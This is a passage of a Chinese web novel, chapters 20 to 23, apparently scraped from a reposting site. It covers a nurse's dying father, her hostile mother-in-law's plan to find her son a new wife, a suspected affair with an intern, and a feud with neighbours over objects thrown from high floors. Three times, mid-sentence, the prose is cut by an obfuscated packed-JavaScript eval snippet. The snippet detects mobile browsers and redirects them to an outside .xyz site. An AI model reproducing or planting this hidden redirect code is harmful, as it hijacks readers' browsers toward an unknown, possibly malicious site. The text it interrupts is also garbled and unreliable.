“你们男的就是粗心,还盲目乐观!”张玢连着两天晚上都做了噩梦,先是梦见柳漾生了一个头大眼斜流口水的怪物,再梦见孩子才十几岁,就被查出胰腺癌。梦里她头发花白,坐在榆钱树下痛哭。 张玢去医院找柳漾摊牌,正碰上装修公司的设计师给柳漾看火锅店效果图,他做了几版,但老板们意见不统一,老板们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15574766|171426||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的后代大多给其中一版投了赞成票,柳漾的票也很关键。柳漾选了一版,设计师笑着说:“我就说吧,年轻人爱吃火锅,要尊重年轻人的意见。” 既然是80%年轻人都认可的方案,老板们接受了,设计师和柳漾击掌,张玢直接上前,不客气地问设计师:“你是谁?” 柳漾解释说熟人要开火锅店,她在中间牵线,但张玢很怀疑:“你拿了多少好处费?这个店你也有份?” 柳漾说:“我哪有钱搞投资,有钱我就买房搬出去了。” 张玢哽了半天,柳志华得了癌,柳漾也是个定时炸弹,没把她扫地出门,她倒还先留意下家了,早说过她是水性杨花轻佻相,赵东南还不信。 周末白天的病人成群结队,大多是挂不上门诊专家号的,柳漾走开了,不用问也知道张玢是来挑事的,挑事就挑事,医院大多是生死大事,她不怕事。 张玢自讨没趣,袖手看了几分钟热闹,走了。次日是老谢家龙凤胎的满月宴,她喊赵东南一起,赵东南不去,她和赵捷成去了。 老谢笑呵呵,安排张玢和赵捷成坐去主席台右下方的一桌。老谢的儿媳在银行上班,张玢左右一问,都是银行人员。邻座的女孩来得稍晚,张玢跟隔了两个座位的老同事说话时,不小心碰掉了女孩的手机,女孩没怪她,还笑说手机套了壳子就是抗摔的,张玢夸她手机壳很趣怪,女孩很健谈,赞美她的衬衫很时尚。 女孩也姓张,是本家,人还单纯,问什么答什么,她是独生女,家在武汉周边地级市,她爸是当地开发区管委会干部,妈在环保局,爷爷奶奶开了一家养老院。同桌有人认出女孩的包是大牌新款,女孩谦虚回答她刚参加工作,这是她父母买给她的入职礼物,她平时都舍不得拿出来背。 张玢对女孩下了定论,家境不错,性格好,还不虚荣,她表示她和几个朋友都有办信用卡的打算,和女孩互相加了微信。 宴席后,张玢让赵东南来接,女孩和赵东南聊了几句。张玢喜上眉梢,年轻女孩对男人有兴趣是什么嘴脸,她清楚得很。 道别后,女孩走向自己的车,比赵东南的车贵得多。张玢发现女孩的家世比她预估的还好些,她转头就找女孩办信用卡,女孩给了她一个不小的额度,隔几天,张玢买了一条小手链送女孩,理由是用这张信用卡买两条有七折,一条送外甥女,另一条送女孩合适。 女孩不收,张玢佯怒:“我再时尚也是阿姨,这么年轻的款式,戴不出去。” 女孩请张玢吃饭回谢,张玢咨询理财基金,话说得很含蓄,她的钱是儿子在打理,她手头就一点点余钱,吃定期利息不合算,不如学习理财,赚点零花钱。 一回生两回熟,张玢和女孩打得火热,连女孩家在地级市有四套房子,两幢私宅都摸得一清二楚,其中一幢私宅临着湖,女孩祖孙三代都住在那里,在朋友圈发过若干照片。 每次张玢和女孩见面,都会让赵东南去接她,女孩夸张玢好福气,儿子帅气又孝顺,张玢很爱听:“他在电信负责工程项目,回头让他把工程款存在你这里,帮你冲任务量!” 女孩满面笑容,张玢找个借口,说去上厕所,让赵东南和女孩单独相处,女孩自来熟,跟赵东南相谈甚欢,张玢远远见了,喜出望外。但此后她再约女孩,女孩和她保持距离了,一问原因,女孩说她忙着跑客户,她逼问赵东南:“你那天到底跟她聊什么了?” 当天,女孩说:“你媳妇是护士?那我以后找她帮忙挂专家号,是不是方便点?” 通过赵东南找柳漾帮忙的人太多了,他才不想多揽事,笑答:“你这么年轻,生病最多是小病小痛,在门诊挂普通号就行,有大问题了才找专家,希望你永远不用找。” 张玢问起,赵东南不耐烦:“就乱七八糟闲聊。” 张玢说:“你干吗跟她说你结婚了?” 赵东南意识到她存了撮合之心,生气道:“她没骂你已经很有涵养了。” 张玢气得牙痒:“我就是跟她投缘,又是本家,没别的意思,是她自己想多了!” 如此一来,张玢对赵东南越发有信心,她通过女孩大胆假设,小心求证,证实了赵东南在婚恋市场的价值,只要不说出已婚身份,她儿子在年轻女孩眼里是有魅力的。离异也不损害这魅力,有阅历的男人更有魅力。 张玢以银行女孩为标准,开始留意有家底的外地女孩,她们想在武汉落脚扎根,武汉本地男人是最优选,也是最佳组合。柳漾在娘家住,对此毫不知情,赵东南每隔两三天就拎些水果和熟食来看柳志华,饭后陪柳漾散步,感情好得有点像刚谈恋爱那会儿。 21. 第 21 章 部门给予的三个月考察期结束,赵东南带的实习生交出心得体会,无一例外夸了他,他在施工现场做事负责,尽善尽美,领导很欣赏,因此他因祸得福,被借调去网络建设部。 网络建设部招标项目多,有油水,柳志华很关心赵东南工作,提醒他不能因小失大,赵东南很虚心:“本来想着今年冲上六岗,工人车祸出事,没升成,这段时间多表现表现,争取能留在网建部。” 每次下了班,柳漾都能吃上陈玉兰烧的饭菜,不算多可口,却是她婚后最舒心的时光。陈玉兰在做饭方面不思进取,柳漾从小到大,陈玉兰就那几道拿手菜,柳志华病得吃不下几口饭,她更是无心钻研新菜式。 最近半个月,柳志华一天比一天严重,时常疼得冷汗直冒,柳漾只好注射杜冷丁帮他缓解,陈玉兰背地里哭过好多次。 陈玉兰和柳志华总爱聊些故人旧事新情况,谁家添丁了,谁家女儿出国了,谁家儿子好赌,唏嘘感叹的,大半天过去了。柳漾留神听了几次,他们的话题经常重复,但乐此不疲,每提一次,就感叹一次,好像昨天说的是另一些人似的。 让柳漾惊奇的是,连冯鹃都不是父母之间的避讳,她下了夜班回家睡觉,半天没睡着,忽然听到她爸妈在算账,办丧事需要请哪些人,哪些开销能省,哪些要做足,一一算起来。柳漾听出柳志华这么多年都由冯鹃管钱,个人积蓄少得可怜,但陈玉兰为她置办嫁妆说过,大头的钱是柳志华出的,有天她趁柳志华上厕所,“不经意”地找陈玉兰问了出来。 柳漾读初中,柳志华就在为她攒嫁妆钱了,他工资奖金都打到银行卡上,被冯鹃管着,他就额外接些私人维修单赚私房钱。有时去哪家维修空调,顺手修个煤气灶,热水器,换个灯泡都是常有的事,就这么慢慢攒下钱来。 离婚后,冯鹃没来看过柳志华,怪里怪气问过柳漾:“你爸还没死呢?” 真不关心的话,问都不问,柳漾回复她:“他跳出火坑了,不晓得几高兴。” 冯鹃再不理她,学着做账之余,看些爆笑短视频换脑子。但柳志华终究油尽灯枯了,一天,柳漾下了小夜班回来,已经快凌晨两点,柳志华还没睡着,披衣出来对她说:“我这两天就回团风了。” 柳漾听懂他的意思,他要回老家等死了。人死后再往老家送,麻烦。她喉头哽住:“等我休完这两天假,你再动身。” 睡得晚,反而又早早醒了,楼上又有人扔酒瓶子和剩菜下来,柳漾提着扩音喇叭冲出门。秋老虎猛烈,天气很热,腐烂的食物惹得苍蝇乱飞,陈玉兰在阳台晾衣服都没法开窗。 秦飞带着柳俊杰来看望柳志华,柳漾正仰头对楼上怒骂,然后用树枝把地上的酒瓶和垃圾拢到一旁。柳俊杰愣愣地看她,柳漾以为吓着他了,冲他笑笑,柳俊杰看到两棵桂花树之间栓的晾衣绳:“你晒衣服要小心点。” 秦飞捡起一只塑料食盒,透过盒盖,里头装有十来双方便筷子,筷子还套着简易塑料袋,没有拆封,但都被掰断,断口毛刺刺的,柳漾心里发毛:“这怕不是个变态。”但这幢楼有29层,向上望,谁都可能不怀好意。 已是九月下旬,柳俊杰开学有段时间了,他想念他爸,周末时自己坐公交车来看过几次。柳漾到阳台收衣服,柳俊杰扭捏了一下,跟上来,捏着衣角,小声说:“你结婚那天,我不是故意的。” 柳漾笑出了声:“知道了。”她连冯鹃都能合作,还能跟一个小学生计较不成,连陈玉兰见着柳俊杰也没多说,还让柳漾洗水果给他吃。 柳俊杰拿着秦飞的平板电脑,偎在他爸身旁,一同看个商业电影。陈玉兰把柳漾喊去厨房:“我要带你爸去照相馆拍照,你做饭,中午让那伢也在家里吃吧。” 柳漾猛一下没转过弯,然后才意识到,拍照片是指拍遗照。柳俊杰听说拍照片,嚷着要去,柳漾忽然想到,她爸妈离婚后,一家三口还没拍过正式的全家福,但家里是白墙,可以趁这两天在家多拍几张。 小区拐过去就有一家相馆,趁着柳志华和妻儿拍照的当口,秦飞开车去电子城买摄像头,安在树干上。柳漾报过警,但民警以调停为主,楼上的人反而变本加厉,要治他们,还得自己动手。 柳漾择着菜,秦飞捧着平板电脑讲解,他已经设置好了,哪天再有人高空抛物,就能精准定位,直接去敲门。 柳俊杰是柳志华的儿子,一起吃午饭没什么,但自己是外人,秦飞推说跟同事约了饭局,告辞走人。陈玉兰明白他不自在,没有多留。 柳漾炒着菜,窗外,秦飞发动汽车,两人隔着窗,目光相对,很快,秦飞收到柳漾转账,附言是:“摄像头。少了算我占点便宜。” 秦飞不收:“没两个钱。” “你路边下个馆子吧。”柳漾把手机揣回兜,陈玉兰进来端汤,对她夸了秦飞,“在桂林就觉得这伢人不错,你要跟他搞好关系。” 柳漾问:“搞好关系干吗?” 陈玉兰告诫她:“搞好关系,以后共同承担对弟弟的责任,不然冯鹃借口年纪大了,都推给你管,你怎么办,东南肯定不同意。” 柳漾不满:“冯鹃推给我,我就答应?” 陈玉兰说:“那毕竟是你亲弟弟。” “那还是冯鹃的亲儿子呢!”陈玉兰说话很小声,柳漾也放低声音,“那是老柳跟外人生的,你管那么多?你不管,我也不管,没这个义务。” 秦飞买了汉堡套餐坐在车里啃,柳俊杰对陈玉兰家熟门轻路,不需要他护送,他是听弟弟说柳漾最近在娘家住,才特地过来的。 公司和电信公司有合作,对一处通信基站铁塔自动化监测系统进行安装和调试,上周,公司技术部负责人带着秦飞等人去电信公司洽谈,赵东南也列席开会。 吃完午饭回会议室,中间有段闲聊时间,实习生们进来端茶倒水,秦飞玩着手机游戏,觉察一个实习生跟赵东南似乎有些暧昧。那实习生长得甜美娇柔,穿衣风格粉嫩得像个白兔子,指甲颜色很特别,被秦飞的女同事问过一句:“是香芋色吗?” 女孩说话也娇娇柔柔,是奶音:“是藕荷色哦。” 女孩给赵东南倒咖啡,拿了一根勺子搅拌,搅拌完毕,秦飞眼角的余光看到她提起勺子,放进了自己的杯子里,这本来没什么,但在不被人注意到的时刻,她含着勺子,眨眨眼,对赵东南一笑。 她笑得挺挑逗,秦飞这样想,不妙的是赵东南也在笑,好像习以为常。接下来的会议上,秦飞暗中观察赵东南和这个叫向雨恬的实习生,她和所有的实习生都坐在会议室一角旁听,手上做着会议记录,眼睛一直在看赵东南。 柳漾是护士,没戴婚戒,赵东南也没戴,不过生活里不戴婚戒的男女都很多,向雨恬难道不知道赵东南已婚?若不知道,可能是赵东南存心隐瞒,要么是知道了,但有恃无恐,因为赵东南丝毫不避嫌。 有些女孩性格活泼,不拘小节,但赵东南已婚,未免也太不避嫌了点。秦飞想跟柳漾说说,但担心是自己捕风捉影,反而引起夫妻矛盾。正好柳俊杰一到周末就去看柳志华,他跟来了,话到嘴边,犹豫了。 潜意识把秦飞带到了蒋馨月的店附近,车停在对面,过了许久,他仍没等到蒋馨月送客户出来,没能再看她一眼。 火锅店已经开始装修了,冯鹃和另外两个老板跑进跑出,秦飞买了饮料慰问众人。冯鹃惦记追看的言情剧,休息时看了半集,秦飞讨教道:“有个女同事的老公长得蛮帅,部门有个年轻的女孩跟他有名堂,女同事想离婚,我搞不好要忙起来了。” 冯鹃说:“女的肯定不会离。” 秦飞说:“不离等着怄气啊,先下手为强。” 冯鹃笑道:“你懂什么,她男将离婚能找年轻的未婚的,女的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15582248|171426||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 离婚比男的吃亏,一般只能找年纪大的,离过婚的。” 柳志华比秦刚好,冯鹃以前很得意,离婚后不吱声了,问都不问一句,更别说去探望了,不过柳俊杰回家总会跟她说,柳志华的动态她都能知道。 冯鹃让秦飞安心,大部分夫妻闹得再狠,都不见得离婚,除非男的坚持要离,多数情况下女的会算了,她拿陈玉兰举例:“女的就是容易想不开。你看她,给爸妈送了终,姑娘也出了嫁,自己工作也稳定,暂时还不需要帮姑娘带伢,我要是她,日子过得飞起来,逢年过节想到哪里玩就到哪里玩。” 秦飞笑她:“是是是,你退一步海阔天空。” 冯鹃大笑起来,回头看身后的火锅店,生意好,赚到钱,她才能海阔天空。幸亏有柳漾托底,她不操心柳俊杰吃穿用度学杂费,只管甩开膀子干活,火锅店第一年不赔本就算赚,她有心理准备。 秦飞没点开红包,第二天退回到柳漾账户,柳漾出门给她爸买鞋。陈玉兰和柳志华经常谈起年轻时的事,有天被她听到,柳志华第一次上门,外公外婆送了他一双皮鞋。据说这是新州的习俗,女婿上门,除了见面礼,还得送双好鞋,代表前路顺利发达。 柳志华穿的是运动鞋,很旧了,柳漾拿被秦飞退回来的钱,另外添了些,买了柳志华很喜欢的一个品牌皮鞋。那品牌已没落,但仍是她爸心中的名牌。 柳漾按柳志华的尺码买回皮鞋,晚上柳志华洗完澡出来,她显摆地放在他面前。柳志华高高兴兴,落座试穿,但脚一伸出来,柳漾哭了。她爸吃不下饭,双脚也肿得厉害,穿不进她买的皮鞋了。 陈玉兰转过脸掉眼泪,柳志华哄着妻女:“没关系没关系,拿去换成运动鞋,运动鞋宽,买大两号,我肯定能穿。” 柳漾坚持请了一个白班的假,把陈玉兰和柳志华送去团风。爷爷奶奶都已过世,大伯收拾了一间房,陈玉兰会一直住到给柳志华送终。 天气很好,柳志华带着妻女去看墓地,是个向阳背风的山坡,他请风水先生看过的,祖坟风水好,能保佑他的儿女,他补充:“还有东南和飞飞。” 墓地地势高,往下望去,是一块池塘,岸边有几棵柳漾叫不上名字的野生植物,柳志华兴致很高,他说整个地形像一把靠背椅,他和陈玉兰的墓地占据了椅背,是“有靠山”的意思。柳漾揣想这人确诊胰腺癌后,来给自己看墓地的情形,心里又不好受,但陈玉兰分外高兴:“你爸说了,墓碑先不立,等我也不在了,再一起做。到时候都交给你,没意见吧?” 柳漾没好气:“左边种棵白玉兰,右边种棵柳树,柳絮一飘,花一落,我还省得烧纸钱。” 柳志华笑哈哈:“好,好,好得很,环保。” 下午四点半,柳志华就催着他大嫂开饭,让柳漾早点动身回武汉。团风方言把阴天称为天涩,他说明星亮月,不如天涩,意思是开车的人,赶路的人,尽量不要走夜路。 进武汉市区的路有些堵,柳漾赶在华灯初上时回到香榭水岸,想拿点秋季衣物回娘家住到考完试,但这得跟赵东南商量。 家里只有赵捷成,他在书房写材料,张玢和同事做头发还没回来。柳漾洗澡睡觉,她计划每次下大夜班的那个白天都去看柳志华,人间的面,终究是见一面少一面了。 赵东南半夜才回来,柳漾仍没睡着,他劝慰道:“下次我们一起去团风。” 柳漾闻见赵东南身上的香气,鼻子动了动,赵东南给她看指腹:“又起皮了,找实习生借了护手霜,很腻,推不开,气味也浓,还是你们医院出的那个好。” 每到换季,赵东南皮肤都分外干燥,指腹起了一层皮,柳漾很愧疚,居然连这个也忽略了,以前都是她从医院给他开的甘油,很管用,她按捺下想回娘家住的想法。等赵东南洗澡出来,她抱着他,想说说话,赵东南吻住她,她伸手去拿安全套。 22. 第 22 章 香榭水岸门前有个小菜场,禽腥气和鱼腥气难闻,张玢买了菜,掩鼻而过,有天好巧不巧,卖鱼的女人在跟隔壁摊位聊着面馆的老板娘,她听到一些,心沉到海底。 那老板娘楚剧团唱戏出身,她丈夫是生意人,前列腺癌走的,走之前缠绵病榻三四年,散尽家产人财两空。老板娘前脚送走丈夫,后脚查出心脏病,她开了个小面馆,每天营业到深夜,关门后给寺院门口的烟纸店叠锡箔,叠一包能赚十几块钱。 张玢去吃了一碗素面,旁敲侧击,证实了卖鱼女人所言非虚。老板娘命苦,儿子遗传了丈夫的疾病,孙子遗传了她的心脏病,一家人生活很清苦。张玢瞧着老板娘,她装着心脏起搏器,刚到60岁的人,头发白了大半,气质还不错,看得出年轻时在剧团时的风光,但人往往经不起一场大病。 张玢坚定了要给儿子换./妻的信念。第一步,先找好下家,只要下家够好,不信赵东南不动摇。他才30岁,往后还有好几十年可活,小面馆老板娘是前车之鉴,趁早悬崖勒马。 都是女人,张玢不想对柳漾太绝,但人和人是以心换心,柳漾和她相看两厌,若能以旧换新,自己能有个心宽体顺的晚年。柳漾没生过孩子,又年轻,说不定也能找到更适合她的男人。再说了,赵东南给柳漾换过车,婚后两人有共同财产,她能分走一部分钱,赵家没亏待她。 柳漾很明显感觉到张玢对她的冷落,她不跟张玢说话,张玢就绝对不找她说话。她做好饭菜,张玢以前还虚情假意夸两句,如今只剩挑剔,菜炒咸了,汤太油了,柳漾说:“我炒菜就这个水平。” 张玢筷子一拍:“你这是什么态度?” “我就这个态度。”柳漾和张玢初次见面时,张玢就说过,“很多人给我家东南介绍朋友,我见过不少,都不喜欢,护士好,护士心细,会照顾人。你会做饭吧?” 柳漾笑着对赵东南说:“不会,一起学,以后互相照顾。” 张玢当时脸色就沉了,柳漾看出张玢不喜欢她,向赵东南提了分手。三年来,是赵东南一次次让她坚信,他的伴侣是她,他只忠于她。 张玢找赵东南告了状,柳漾下班回来,赵东南很愁闷,他妈好了伤疤忘了疼,说了不再跟柳漾过不去,还是管不住嘴,他也吵过:“漾漾到底怎么你了,你就这么看不得她?” 张玢很气愤:“说一句犟一句,哪家媳妇像她这样,我说她冇得家教,说错了?” 张玢这话,赵东南是决计不能跟柳漾说的,柳漾看出他的难色,很失望:“我回我妈家住,你也省心,我也不烦心。” 赵东南说:“有几个朋友年底有进账,我等到那时再开口借钱,必须买房子分开过。” 张玢被人打伤,柳漾才回到这里,好像是赢了,但又好像是输的开始。积蓄不够,买不成房子,其实能出去租房子住,但她明白赵东南不会这样去对抗张玢,她提都没提,提了他也不会答应。她有些后悔,伤到眼睛那次,本不该妥协。 沈维通过试用期,在上海稳定下来,她以前想过,武汉虽然是省会城市,不如一线城市发达,风气保守,到了上海发觉,大环境就这样,攻击女人也依然是“赚钱多,当高管有什么用,还不是没人要”。 沈维一走几个月,音讯全无,沈母又来医院找柳漾。沈维离开武汉以后,沈父失眠得厉害,吃药才能入睡,沈母最近也老做噩梦,担心沈维在外吃不惯睡不好,她说:“你转告她,我们不催她结婚,就让她等缘分,行不行?” 柳漾叹息,沈维在家时,她父母也说过类似的话,但说归说,转头即忘,她知道沈家父母仍不明白沈维为何出走。如果当父母的就像外人一样,总是把子女气得胸闷,子女哪肯在家里多待,不过也许父母也认为子女不懂事,把他们气得胸闷吧。 救护车送来一个大学生,她名叫霍萍萍,今年刚考上大学。室友被小老板包养,打着介绍兼职的借口,骗霍萍萍出去应酬。 酒局上,霍萍萍被室友灌了酒,小老板的朋友们动手动脚,她逃跑时从楼梯滚下去,摔断了腿。 霍萍萍向酒店门童求告,被送来医院。霍萍萍是下面县市的人,她妈在武汉打工,赶到急诊时,霍萍萍的伤口刚做了处理,她妈心疼得掉眼泪,但张口却是责备:“跟你说了要好好学习,不用你出去赚钱,你偏不听!” 柳漾着意地看沈母一眼,沈母果然不觉得这话有问题。霍母问清事情原委,痛骂那个室友是小婊./子养的,再责备女儿:“她一进大学就谈恋爱,还跟社会上的人谈,不是好东西,你还跟她玩,你怎么这不懂事?” 霍萍萍闭口不言,头扭向一边,护士长扒开霍母,弯腰对霍萍萍说:“等下麻药过去有点疼,疼就按铃,给你开片止疼药。” 护士长声音温柔,霍萍萍把眼泪藏起来,嗡声回答:“谢谢你。” 火锅店招聘了部分服务员和小工,冯鹃送来617医院体检,出租车送来病人,她在门口搭把了手,听说是看急诊,她特意绕过来看看,刚好看到霍母的一言一行,斜了她一眼:“姑娘想做点兼职替你分忧,她是好心。外人欺负她,你不能欺负她,你是她妈,你批评她就是欺负她,你跟外人有什么区别?” 霍母忍着没发作,瞪冯鹃一眼,冯鹃可不怕她。医患关系太紧张,护士不便说的话,她一个外人想说什么就说什么:“我晓得你是心疼你家姑娘,心疼她就好好说话,不好好说,就是做了好还落不到好。你是苦心,但你把话说得不好听,她心里苦。” 柳漾转头看沈母:“听到了吗?” 沈母默默走了,冯鹃问:“她求你办什么事?” 柳漾说:“她姑娘是我朋友,不想结婚,她爸妈逼她相了几百次亲,还把男的往她房间里赶。” 冯鹃惊得张大了嘴巴:“不结婚又怎么了?” 柳漾没想到她是这个态度,笑道:“你不催你家秦飞?” 冯鹃说:“催有什么用,现在的小伢都有自己的主意。” 柳漾故意问:“他要是跟你说,一生都不打算结婚,你也不催?” “我看也不至于,不过也说不定,网上都说现在儿子比姑娘多,儿子结婚难。”冯鹃对沈母好奇,“她是妈,教育不了姑娘,找你帮忙教育?” 柳漾摇头:“维维说她不结婚不要伢,他们接受不了,快把她逼死了,她跑去外地了,她求我让维维回来。” 冯鹃听不下去:“一生还长,说不定哪天就结了,不结也不能把她逼死吧?是不是亲妈?” 冯鹃居然很开明,柳漾很惊奇:“她妈觉得她叛逆,还说我站着说话不腰疼。” 冯鹃教她:“下次再找你,你就问她,是爱姑娘还是爱面子,她不就是怕别人说闲话,说家里有个姑娘嫁不掉。” 病人帮腔:“别人随口一说,不往心里去,就她听到心里去了。” 冯鹃嘎嘎笑:“说得好!别人贪污受贿,吸毒赌博,你问他们怕不怕别人说。要是怕,这个世界上哪会有人杀人放火?” 服务员们做完体检来找冯鹃,冯鹃告 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15582249|171426||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 别:“店里人还没招齐,她再找你,你喊我。要是她不是要面子,是怕她家姑娘不结婚,老了孤独,那就多留点钱给姑娘。我看她年纪跟我差不多,再赚个20年钱不成问题。” 霍萍萍吃了止疼药睡着了,霍母陪在旁边。室友哭哭啼啼来了,她说自己被男朋友蒙在鼓里,不知道他朋友会调戏人,霍母找他们要医药费,他们只肯出三千,宣称主观上没有伤害人的意图,从楼梯摔下去也是因为霍萍萍酒量差,他们救不及。 霍母打了室友一耳光,室友一怒而走。有个病人家属提醒霍母去找酒店要监控,但室友的男朋友稍微精明点,可能已经找人抹去了。 霍母在烟酒行卖货,工资不高,但医药费不便宜,护士长担心霍萍萍醒后,她又会责骂女儿,递给她一瓶饮料:“那个室友年纪轻轻心就不好,你打她一巴掌,她搞不好记了仇,你记得找学校,帮你姑娘换个宿舍。别人欺负她,你是后盾,你再怪她,她就一点后路都没有,可能会走弯路。你不想她走弯路吧?” 柳漾不知道霍母听不听得进护士长的话,但多少孩子在父母处得不到经济支撑,更得不到精神安慰,外面的恶人稍微给点甜头,她们可能就中计了,就此走上弯路。哪怕意识到是糖衣炮弹,仍破罐子破摔了,只因那虚假的温暖,她们都不曾从亲人那里得到过。 交班时,柳漾去看霍萍萍,果然听到霍母抱怨医药费太高,借钱难,言下之意是女儿不懂事,柳漾问:“她爸爸呢?” 霍母没好气地回答:“死了!” 那就是不管娘儿俩了,女人的人生想来也不容易,所以女儿被人欺负,她首先想到的是又给自己惹事了。但是“监护人”三个字当中有个护字,她却忽略了,给予女儿的只有指责和要求,而不是爱护。 柳漾调慢输液速度,去护士站拿了两包别人送她的牛肉干,塞给霍萍萍:“一定要熬过去,毕业参加工作,经济独立了,就会好起来。” 但经济独立了,霍萍萍也还得跟这个辛苦把她抚养大的女人牵绊,仍会被恶语相加。可是这个人,明明是这世上最该和她彼此善待的人。回家的路上,柳漾打电话和沈维聊天,沈维听到最后,哭了。 沈维还在试用期,只能拿基本工资,谁调休她都得顶上,这些都能克服,毕竟能多学点东西。前天,医院接收了一个病毒性脑炎患儿,护士错将医嘱甘露醇拿成了甲硝唑,等到发现时,甲硝唑已经输入患儿体内,当天下午,患儿医治无效去世。 患儿的父母状告医院,警方和卫健委已联合调查,如果证明两名当班护士的误输液行为和患儿死亡存在因果关系,她们将会承担刑事责任。 这件事一出,沈维和同事们人人自危,压力很大。她和其中一名护士低头不见抬头见,代入对方想了想,更是不寒而栗,她不仅害怕草菅人命,丢了工作,更害怕如果当事人是自己,被爸妈知道,他们冲口而出的只会是:“叫你跑那么远?!” 这话沈家父母说得出来。他们怎么可能不心疼沈维,但第一反应却往往是责备。柳漾愤然:“在你最需要他们的时候,他们说话不考虑你的感受,你又怎么能考虑到他们其实是在心疼你?” 沈维啜泣:“让他们肯定你的优点太难了,从小到大都没听到过,还美其名誉中国人都含蓄,免得你骄傲自满。但揪你的错处,他们是天生的好手,还富有创意。” 柳漾也哭了。陈玉兰和柳志华复婚,她接受了,沈维逃到那么远,跟她爸妈断联,她爸妈什么时候才能真正接受女儿不婚不育? 23. 第 23 章 柳漾独自在娘家住得自在,赵东南每隔两天就过来,把这边当成家,住得很习惯。两人商议等年底发了年终奖,就厚着脸皮到处借钱,尽快把房子买了,房价涨得太快,再不买就更难买上了。 柳漾感觉买娘家这种小两居,三口之家就够住了,工作之余,她勤于浏览购房网站信息,列成目标表,一有空就和赵东南探讨。然而,秦飞在通信铁塔又瞧见了赵东南和向雨恬暧昧。 赵东南在方案上签了字,递给向雨恬转交,向雨恬接过的时候,手指在他手心挠了挠。这动作很隐秘,若不是秦飞着意观察这两人,根本发现不了,他右手挠挠左手心,模仿给女同事看:“女的对我这样,什么意思?” “调情啊。”女同事追问他是不是有了新情况,秦飞很苦恼,女孩暗送秋波,已婚男人只能目不斜视,任何多余的反应都叫不守夫道,这次绝对不是他想多了。 几次打开柳漾的微信头像,再几次关闭,秦飞愁得慌。他知道,有些人宁可揣着明白装糊涂地过日子,男人在外乌烟瘴气,在家当甩手掌柜,女人忍辱负重,表面看起来也是美满家庭呢。 但细想起来,从第一次见面,柳漾就旗帜鲜明反对父母复婚,她好像不是这种人。秦飞犹豫再三,找个借口问她:“楼上还有人扔东西吗?” 柳漾发出几个监控视频:“对不讲脸的人讲不了理。” 昨天早晨下班回家后,柳漾正准备睡觉,几只啤酒瓶从天而降,接着是两盒剩饭剩菜。她在软件上操作,锁定了5楼和16楼。 物业照样打太极,承诺批评教育,柳漾要求他们陪同去找那两户人家,敲了半天门,无人应声。 物业说5楼住了几个在家开网店的年轻人,16楼则是个独居爹爹,他们安抚柳漾,他们会换个时间段再来。柳漾睡起来吃饭,往外一看,地上多了一只抽屉。这东西从高空抛下,能砸死人,她一查,又是16楼。 柳漾去拍门,门内响起狗叫声,独居的爹爹开门,他正在炒菜,一脸不耐烦。柳漾举着抽屉质问他,他不承认,砰地关上了门。柳漾报了警,物业陪同警察来了,监控视频面前,爹爹认了错。 再去5楼那户,他们也一口一个是是是,但是半夜时,仿佛恶作剧一样,砰砰砰,从罐头瓶到拖鞋再到烂水果,又是一地垃圾。 柳漾再次报警:“我被砸死了,你们才能制裁他们,不然就只能批评教育?” 警察说:“尽量不要在窗外活动。” 柳漾把手机丢回沙发上,泄气得很。她朝楼上喊过很多次话,缺垃圾桶她能送,缺的是德,她无计可施。赵东南陪她去找过那两户人家,但不管用,斯文人斗不过无赖。 中午,秦飞敲门,柳漾在跳健身操,秦飞四下看看,拿起茶几上的一只哑铃,也就1.5kg,不重,但砸下去不好受。 16楼的爹爹携三只汪汪叫的雪纳瑞开了一条门缝,秦飞强行进去,交涉两句,爹爹放狗咬他,他不慌不忙,手一松,哑铃砸到爹爹脚上。爹爹疼得嗷嗷叫,扬言要告秦飞,秦飞手一摊:“我怎么你了,你倒是说说看?” 柳漾捡回哑铃,爹爹脚趾缝流血,雪纳瑞低头嗅个没完,秦飞笑嘻嘻:“有摄像头都奈何不了你,没摄像头你更奈何不了我。你敢再乱丢东西,我就敢再来。年纪大的难免吃点亏,走夜路也容易摔跤,刘爹爹,你说是不是?” 爹爹吹胡子瞪眼,秦飞拽着柳漾去5楼。5楼就更简单了,他们扔过快递盒子,上面有他们经营的网店名称。 花点钱多打几个差评,他们就得挠头了,秦飞谈笑伏兵:“你们忍住手,水军也能忍住手,邻里之间,和睦第一,是吧?” 网店正值冲钻阶段,5楼的人选择相安无事,向柳漾赔礼道歉。柳漾很高兴,对秦飞道:“呦呵?” 秦飞说:“我多年吃亏,有一心得:横着走的人才不吃亏。” 柳漾点头称是,心中黯然,父母离婚后,她养成了一张利嘴,是没吃过亏,但对张玢不好使。一开始,张玢对她的要求是做饭洗衣,照顾她儿子,假如那时候她不反驳,顺从了,今天就能过得太平吗?软柿子没准被张玢欺负得更狠。 